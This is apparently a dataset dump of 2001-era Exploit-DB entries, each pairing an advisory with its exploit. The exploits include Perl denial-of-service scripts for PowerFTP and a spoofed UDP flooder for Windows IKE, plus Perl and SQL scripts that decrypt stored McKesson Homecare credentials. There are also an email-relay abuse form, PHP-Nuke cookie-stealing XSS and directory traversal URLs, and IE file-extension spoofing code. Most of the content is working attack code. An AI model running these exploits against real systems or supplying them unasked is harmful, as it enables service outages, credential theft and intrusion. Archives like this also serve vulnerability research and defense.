QLWD/code_shield huggingface dataset:
标题: Volition Red Faction 1.0/1.1 - Game Server/Client Denial of Service EDB-ID: 21170 CVE: 2001-0952 类型: DOS 平台: WINDOWS 发布日期: 2001-12-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/3651/info

Red Faction is a commercial 3D first person shooter game developed by Volition and published by THQ.

Red Faction allows up to 32 players to game across a LAN or TCP/IP. Both the Red Faction Game Server and the client communicate on port 7755 by default. If UDP packets are sent to the port Red Faction is listening on, this will cause both the Game Server and the client to crash. 

The following example is sufficient to crash Red Faction:

nmap -sU -p 7755 <ip> URL: https://www.exploit-db.com/exploits/21170
标题: McKesson Pathways Homecare 6.5 - Weak 'Username' and Password Encryption EDB-ID: 21173 CVE: 2001-1546 类型: LOCAL 平台: WINDOWS 发布日期: 2001-12-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/3653/info

McKesson Pathways Homecare is a client/server application which is used to track patient information, billing information and medical records for home care patients.

The administrative username and password are encrypted in the pwhc.ini file on the client system. The encryption method used to store these is very weak and can be easily reversed. 

For the SQL server account:
#! /usr/bin/perl -w

################################################################################
# pwhc_crack.pl -- Extracts a password from a Pathways Homecare PWHC.ini
file
################################################################################

use strict;

open (PWHC, "pwhc.ini") or die "Unable to open .ini file";
while (<PWHC>) {
chomp;
if ($_ =~ /^UserID/) { print "UserID: ", decrypt($_), "\n"; }
if ($_ =~ /^Password/) { print "Password: ", decrypt($_), "\n"; }
}

sub decrypt {
my $counter = 0;
my $key;
my @cryptstr = split /=/, $_, 2;
my @revstr = unpack("c*", (scalar reverse $cryptstr[1]));
if(@revstr % 2) {
$key = 3;
while ($counter < @revstr) {
$revstr[$counter] += $key;
$counter++;
$key += ($counter % 2) ? 5 : -3;
}
}
else {
$key = 7;
while ($counter < @revstr) {
$revstr[$counter] += $key;
$counter++;
$key += ($counter % 2) ? -3 : 5;
}
}
return pack("c*", (reverse @revstr));
}

For the Visual Basic client:
SET NOCOUNT ON
DECLARE @evenkey varchar(15)
DECLARE @oddkey varchar(15)
DECLARE @key varchar(15)
DECLARE @cryptstr varchar(15)
DECLARE @position tinyint
DECLARE @length tinyint
DECLARE @usrid varchar(30)

DECLARE pwd_cursor CURSOR FOR SELECT usrID, pwd FROM usr
OPEN pwd_cursor
FETCH NEXT FROM pwd_cursor INTO @usrID, @cryptstr
SET @evenkey = 'FDHFJHLJNLPNRP'
SET @oddkey = 'CGEIGKIMKOMQOSQ'

WHILE (@@FETCH_STATUS = 0)
BEGIN
SET @position = 1
SET @length = datalength(@cryptstr)
IF ((@length % 2) = 1) SET @key = @oddkey
ELSE SET @key = @evenkey

WHILE (@position <= @length)
BEGIN
SET @cryptstr = STUFF(@cryptstr, (@length - @position) + 1, 1,
CHAR((ASCII(SUBSTRING(@key, @position, 1)) - 65)
+ ASCII(SUBSTRING(@cryptstr, (@length - @position) + 1, 1))))
SET @position = @position + 1
END
PRINT @usrID + ' : ' + @cryptstr
FETCH NEXT FROM pwd_cursor INTO @usrID, @cryptstr
END
DEALLOCATE pwd_cursor
GO URL: https://www.exploit-db.com/exploits/21173
标题: Microsoft Windows Server 2000 - Internet Key Exchange Denial of Service (2) EDB-ID: 21172 CVE: 2001-0951 类型: DOS 平台: WINDOWS 发布日期: 2001-12-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/3652/info
 
Internet Protocol Security (IPSec) provides authentication and encryption for IP network traffic. The Internet Key Exchange (IKE) protocol is a management protocol standard which is used with the IPSec standard. IKE contributes to the IPSec standard by providing additional features and by default listens on UDP port 500.
 
 
 
An issue exists in IKE which could cause a Windows 2000 host to stop responding.
 
 
 
Connecting to port 500 and submitting a continuous stream of arbitrary packets, will cause the CPU utilization to spike to approximately 100%.
 
 
It should be noted that this vulnerability may be due to an underlying issue with the UDP protocol.

#!/usr/bin/perl -w
###############################################################################
# Author        :       Nelson Brito
# E-mail        :       nelson@SEKURE.ORG
# File          :       nb-isakmp.pl
# Version       :       0.3 Alpha
###############################################################################
use Socket;
use Net::RawIP;
use Getopt::Std;

getopts("s:d:p:l:n:v:t:f:rL",\%o);$ver="0.3a";$0=~s#.*/##;

print"--- $0 v.$ver b/ Nelson Brito / Independent Security Consultant ---\n";

$l=$o{'l'}?$o{'l'}+28:800+28;$n=$o{'n'}?$o{'n'}/2:800/2;
$v=$o{'v'}||4;$t=$o{'t'}||1;$f=$o{'f'}||0;$T=$o{'T'}||64;
$p=$o{'p'}?$o{'p'}:(getservbyname('isakmp','udp')||die"getservbyname: $!\n");

($o{'s'}&&$o{'d'})||die
"\nUse: $0 [IP Options] [UDP Options]\n\n",
"IP Options:\n",
"\t\t-s*\tsource address to spoof\n",
"\t\t-d*\tdestination address to attack\n",
"\t\t-v\tIP Version\t\t\t\t(def: $v)\n",
"\t\t-t\tIP Type of Service (TOS)\t\t(def: $t)\n",
"\t\t-f\tIP fragementation offset\t\t(def: $f)\n",
"\t\t-T\tIP Time to Live (TTL)\t\t\t(def: $T)\n",
"UDP Options:\n",
"\t\t-p\tdestination port to attack\t\t(def: $p)\n",
"\t\t-l\tpacket length to send\t\t\t(def: $l)\n",
"\t\t-r\tset randon data\t\t\t\t(def: \".\")\n",
"Generic:\n",
"\t\t-n\tnumber of packets to send\t\t(def: $n)\n",
"\t\t-L\tsend packets forever\n\n",
"Copyright � 2000 Nelson Brito <nelson\@SEKURE.ORG>.\n";

while($n > 0){
 $|=1;print".";$sp=int rand 65535;
 $D=$o{'r'}?(chr(int rand 255)) x $l:"." x $l;
 $nb=new Net::RawIP({
  ip=>
  {
   version=>$v,
   tos=>$t,
   ttl=>$T,
   frag_off=>$f,
   saddr=>$o{'s'},
   daddr=>$o{'d'}
  },
  udp=>
  {
   source=>$sp,
   dest=>$p,
   len=>$l,
   data=>$D
  }
 });
 $nb->send;undef $nb;!$o{'L'}&&$n--;
}
print"Finish!\n"; URL: https://www.exploit-db.com/exploits/21172
标题: ZoneAlarm Pro 1.0/2.x - Outbound Packet Bypass EDB-ID: 21169 CVE: 2001-1549 类型: REMOTE 平台: WINDOWS 发布日期: 2001-12-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/3647/info

Due to a common design error, it may be possible for outbound packets to bypass packet filtering in many personal firewalls.

Many of these applications only block packets created by the standard Windows protocol adapter. It is possible for a user with administrative privileges to create packets with other protocol adapters that are not evaluated against the personal firewall rules when transmitted.

Exploitation will result in a violation of security policy.

Tiny Personal Firewall, ZoneAlarm and ZoneAlarm Pro are confirmed vulnerable. It is believed that other applications similar in design may also be vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21169.zip URL: https://www.exploit-db.com/exploits/21169
标题: Brian Dorricott MAILTO 1.0.7-9 - Unauthorized Mail Server Use EDB-ID: 21178 CVE: 2001-1188 类型: REMOTE 平台: WINDOWS 发布日期: 2001-12-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/3669/info

MAILTO is a program maintained by Brian Dorricott. It enables web servers to allow forms to be converted into mail messages that can be sent to numerous recipients.

An issue exists in MAILTO which could allow an attacker to send emails through a remote host's server.

Sites that utilize or provide MAILTO are susceptible to this issue, typically their mail server information is published when providing install and usage instructions. This information can allow a user to include the mail server information into an HTML file and submit it via MAILTO. This email will then be delivered to the specified recipient with the appearance of originating from the victim web host.

This problem makes it possible for a user with malicious intentions to socially engineer, mailbomb, or spam from as though it's coming from the victim web host. 

<FORM ACTION="HTTP://WWW.MALWARE.COM/CGI-BIN/MAILTO.EXE" METHOD="POST">
<INPUT TYPE="hidden" NAME="sendto" VALUE=billg@bloatedcorp.com>
<INPUT TYPE="hidden" NAME="email" VALUE="hotsuezzz@xxxxxxrated.com">
<INPUT TYPE="hidden" NAME="server" VALUE="smtp.malware.com">
<INPUT TYPE="hidden" NAME="subject" VALUE="SPAM MONGER">
<INPUT TYPE="hidden" NAME="resulturl" VALUE=http://ww.malware.com>

Name: <INPUT NAME="uname" SIZE=30>
Position: <INPUT NAME="title" SIZE=30>
Company: <INPUT NAME="company" SIZE=30>
E-Mail: <INPUT NAME="email" SIZE=30>
Comments:<TEXTAREA name="comments" ROWS=10 COLS=50 SIZE="10">&lt;/textarea&gt;

Press <INPUT TYPE="submit" VALUE="Submit">
Idiot <INPUT TYPE="HALT !" VALUE="The Above Is A Example Only - The Data Is Fake"> URL: https://www.exploit-db.com/exploits/21178
标题: PHP-Nuke 1.0/2.5/3.0/4.x/5.x/6.x/7.x - 'user.php?uname' Cross-Site Scripting EDB-ID: 21165 CVE: 2001-1524 类型: WEBAPPS 平台: PHP 发布日期: 2001-12-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/3609/info

PHPNuke is a website creation/maintenance tool.

PHPNuke is prone to cross-site scripting attacks. It is possible to create a link to the PHPNuke user information page, 'user.php', which contains malicious script code. When the link is clicked by an unsuspecting web user, the malicious script code will be executed on the user in the context of the site running PHPNuke.

This attack may be used to steal a user's cookie-based authentication credentials for the vulnerable PHPNuke site.

PostNuke is also affected by a number of these issues.

This problem has also been reported with other scripts included in the PHPNuke package. More specifically, modules.php, upload.php, friend.php and submit.php are also vulnerable under some circumstances. Different parameters to the user.php script may also be sufficient for a cross-site scripting attack.

An additional cross-site scripting vulnerability has been reported in modules.php for PostNuke.

**It has been reported that the cross-site scripting issue affecting the 'ttitle' parameter of 'modules.php' script has been re-introduced in newer versions of the PHPNuke application. This issue is reported to affect versions 7.2 and prior. 

http://phpnukesite/user.php?op=userinfo&uname=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/21165
标题: Cooolsoft PowerFTP Server 2.0 3/2.10 - Multiple Denial of Service Vulnerabilities (1) EDB-ID: 21162 CVE: 2001-0932 类型: DOS 平台: WINDOWS 发布日期: 2001-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/3595/info


PowerFTP is a commercial FTP server for Microsoft Windows 9x/ME/NT/2000/XP operating systems. It is maintained by Cooolsoft.

Multiple instances of denial of service vulnerabilities exist in PowerFTP's FTP daemon. This is achieved by connecting to a vulnerable host and submitting an unusally long string of arbitrary characters.

It has been reported that this issue may also be triggered by issuing an excessively long FTP command of 2050 bytes or more.

This issue may is most likely due to a buffer overflow. If this is the case, there is a possibility that arbitrary code may be executed on the vulnerable host. However, this has not yet been confirmed. 

#!/usr/bin/perl
# Simple script to send a long 'A^s' command to the server, 
# resulting in the ftpd crashing
#
# PowerFTP Server v2.03 proof-of-concept exploit
# By Alex Hernandez <al3x.hernandez@ureach.com> (C)2001.
#
# Thanks all the people from Spain and Argentina.
# Special Greets: White-B, Pablo S0r, Paco Spain, L.Martins, 
# G.Maggiotti & H.Oliveira.
# 
#
# Usage: perl -x PowerFTP_Dos.pl -s <server>
#
# Example: 
#
# perl -x PowerFTP_Dos.pl -s 10.0.0.1
# 220 Personal FTP Server ready
# Crash was successful !
#

use Getopt::Std;
use IO::Socket;

print("\nPowerFTP server v2.03 DoS exploit (c)2001\n");
print("Alex Hernandez al3xhernandez\@ureach.com\n\n");

getopts('s:', \%args);
if(!defined($args{s})){&usage;}
$serv = $args{s};
$foo = "A"; $number = 2048; 
$data .= $foo x $number; $EOL="\015\012";

$remote = IO::Socket::INET->new(
                    Proto => "tcp",
                    PeerAddr => $args{s},
                    PeerPort => "ftp(21)",
                ) || die("Unable to connect to ftp port at $args{s}\n");

$remote->autoflush(1);
print $remote "$data". $EOL;
while (<$remote>){ print }
print("\nCrash was successful !\n");


sub usage {die("\nUsage: $0 -s <server>\n\n");} URL: https://www.exploit-db.com/exploits/21162
标题: Microsoft Internet Explorer 5.5/6.0 - Spoofable File Extensions EDB-ID: 21164 CVE: 2001-0875 类型: REMOTE 平台: WINDOWS 发布日期: 2001-11-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/3597/info

It is possible for a malicious webmaster, hosting files on an website, to spoof file extensions for users of Internet Explorer. For example, an .exe file can be made to look like a .txt (or other seemingly harmless file type) file in the Download dialog.

When including a certain string of characters between the filename and the actual file extension, IE will display the specified misleading file extension type.

The end result is that a malicious webmaster is able to entice a user to open or save arbitrary files to their local system.

* It has been reported that patched systems may still be vulnerable to this issue. If the attacker composes a .hta file, using the methods described above, it is possible for the malicious file to go undetected by patched systems. 

With an apache/php server add .txt to the already existing .php extension in the apache.conf file, so that apache will recognise .txt extensions as php script files.

1. Copy the real windows calc.exe from a windows system to the html root dir.

2. Copy the readme.txt file below to the same html root dir.

3. go to the url http://yourserver/readme.txt

You will see the same behavior mentioned in the previous alert.

FILE <readme.txt> BEGIN ----
<?php
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=calc.exe");
readfile("calc.exe");
?>
FILE <readme.txt> END ----

"Jonathan G. Lampe" <jonathan@stdnet.com> submitted this example in ASP for IIS webservers:

<%

Const adTypeBinary = 1
Dim strFilePath

Response.ContentType = "application/octet-stream"
Response.AddHeader "Content-Disposition","attachment; filename=calc.exe"

strFilePath = Server.MapPath(".") & "\calc.exe"

Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Open
objStream.Type = adTypeBinary
objStream.LoadFromFile strFilePath

Response.BinaryWrite objStream.Read

objStream.Close
Set objStream = Nothing

%> URL: https://www.exploit-db.com/exploits/21164
标题: Cooolsoft PowerFTP Server 2.0 3/2.10 - Multiple Denial of Service Vulnerabilities (2) EDB-ID: 21163 CVE: 2001-0932 类型: DOS 平台: WINDOWS 发布日期: 2001-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/3595/info
 
 
PowerFTP is a commercial FTP server for Microsoft Windows 9x/ME/NT/2000/XP operating systems. It is maintained by Cooolsoft.
 
Multiple instances of denial of service vulnerabilities exist in PowerFTP's FTP daemon. This is achieved by connecting to a vulnerable host and submitting an unusally long string of arbitrary characters.
 
It has been reported that this issue may also be triggered by issuing an excessively long FTP command of 2050 bytes or more.
 
This issue may is most likely due to a buffer overflow. If this is the case, there is a possibility that arbitrary code may be executed on the vulnerable host. However, this has not yet been confirmed. 

#!/usr/bin/perl
#
# Even though the server will deny access, the slow hardware 
# will still hang the machine. This program attempts to 
# exploit this weakness by sending the 'NLST a:/' command to 
# the server 
#
# PowerFTP Server v2.03 proof-of-concept exploit
# By Alex Hernandez <al3x.hernandez@ureach.com> (C)2001.
#
# Thanks all the people from Spain and Argentina.
# Special Greets: White-B, Pablo S0r, Paco Spain, L.Martins,
# G.Maggiotti & H.Oliveira.
# 
#
# Usage: perl -x PowerFTP_floppy.pl <server> <port> <user> <pass>
#
# Example: 
#
# perl -x PowerFTP_floppy.pl 10.0.0.1 21 temp temp
# 

use IO::Socket;

print("\nPowerFTP server v2.03 DoS exploit Floppy (c)2001\n");
print("Alex Hernandez al3xhernandez\@ureach.com\n\n");

#$NUMBER_TO_SEND = 3000; 
$BUFF = 3000; 

if ( scalar @ARGV < 4 ) {
    print "Usage: $0 <server> <port> <user> <pass>\n";
    exit();
}


$target = $ARGV[ 0 ];
$port = $ARGV[ 1 ];
$username = $ARGV[ 2 ];
$password = $ARGV[ 3 ];

print "Creating socket... ";
$sock = new IO::Socket::INET( PeerAddr => $target,
                              PeerPort => int( $port ), 
                                Proto => 'tcp' );
die "$!" unless $sock;
print "done.\n";


read( $sock, $buffer, 1 );


print "Sending username...";
print $sock "USER " . $username . "\n";
read( $sock, $buffer, 1 );
print "done.\n";


print "Sending password...";
print $sock "PASS " . $password . "\n";
read( $sock, $buffer, 1 );
print "done.\n";


print "DoS Attack floppy server...";
for( $i = 0; $i < $BUFF; $i++ ) {

    print $sock "NLST a:/\n";   
    read( $sock, $buffer, 1 );
}

print "done.\n";

close( $sock );
exit(); URL: https://www.exploit-db.com/exploits/21163
标题: WU-FTPD 2.6 - File Globbing Heap Corruption EDB-ID: 21161 CVE: 2001-0550 类型: REMOTE 平台: UNIX 发布日期: 2001-11-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/3581/info

Wu-Ftpd is an FTP server based on the BSD 'ftpd' that is maintained by Washington University.

Wu-Ftpd allows clients to organize files for FTP actions based on "file globbing" patterns. File globbing is also used by various shells. The implementation of file globbing included in Wu-Ftpd contains a heap-corruption vulnerability that may allow an attacker to execute arbitrary code on a server remotely.

This vulnerability was initially scheduled for public release on December 3, 2001. However, Red Hat has made details public as of November 27, 2001. As a result, we are forced to warn other users of the vulnerable product so that they may take appropriate actions. 

ftp> open localhost
Connected to localhost (127.0.0.1).
220 sasha FTP server (Version wu-2.6.1-18) ready.
Name (localhost:root): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password:
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ~{
227 Entering Passive Mode (127,0,0,1,241,205)
421 Service not available, remote server has closed connection

1405 ? S 0:00 ftpd: accepting connections on port 21
7611 tty3 S 1:29 gdb /usr/sbin/wu.ftpd
26256 ? S 0:00 ftpd: sasha:anonymous/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
26265 tty3 R 0:00 bash -c ps ax | grep ftpd
(gdb) at 26256
Attaching to program: /usr/sbin/wu.ftpd, process 26256
Symbols already loaded for /lib/libcrypt.so.1
Symbols already loaded for /lib/libnsl.so.1
Symbols already loaded for /lib/libresolv.so.2
Symbols already loaded for /lib/libpam.so.0
Symbols already loaded for /lib/libdl.so.2
Symbols already loaded for /lib/i686/libc.so.6
Symbols already loaded for /lib/ld-linux.so.2
Symbols already loaded for /lib/libnss_files.so.2
Symbols already loaded for /lib/libnss_nisplus.so.2
Symbols already loaded for /lib/libnss_nis.so.2
0x40165544 in __libc_read () from /lib/i686/libc.so.6
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
__libc_free (mem=0x61616161) at malloc.c:3136
3136 in malloc.c URL: https://www.exploit-db.com/exploits/21161
标题: bharat Mediratta Gallery 1.1/1.2 - Directory Traversal EDB-ID: 21157 CVE: 2001-0900 类型: WEBAPPS 平台: PHP 发布日期: 2001-11-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/3554/info

Bharat Mediratta Gallery is a free, open source web-based photo album which may be used as an add-on for the PHPNuke web portal.

Due to insufficient validation of user-supplied input, it is be possible to view arbitrary web-readable files via a specially crafted web request which contains '../' sequences.

This issue may allow a remote attacker to gather sensitive information which may be used in directed and organized attacks against a host running the Gallery software.

http://www.somehost.com/modules.php?set_albumName=album01&id=aaw&op=modload&name=gallery&file=index&include=../../../../../../etc/hosts URL: https://www.exploit-db.com/exploits/21157
标题: ibm informix Web Datablade 3.x/4.1 - Directory Traversal EDB-ID: 21160 CVE: 2001-0924 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-11-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/3575/info

Informix is an enterprise database distributed and maintained by IBM. The Web Datablade Module for Informix SQL is used to provide wbBinaries for storing large binary resources such as images, sounds, etc.

The Web Datablade Module for Informix SQL is prone to a directory traversal vulnerability. A remote attacker who submits a specially crafted web request containing dot-dot-slash(../) sequences may be able to break out of wwwroot and browse arbitrary web-readable files on a vulnerable host.

This issue is known to occur when large object caching is enabled, which sets cache_directory as a web driver variable. It occurs independently of the web server that is being used.

As a result, sensitive information disclosed in arbitrary web-readable files may be used by the remote attacker to make more concentrated attacks in an attempt to further compromise the host.

http://site.com/ifx/?LO=../../../file URL: https://www.exploit-db.com/exploits/21160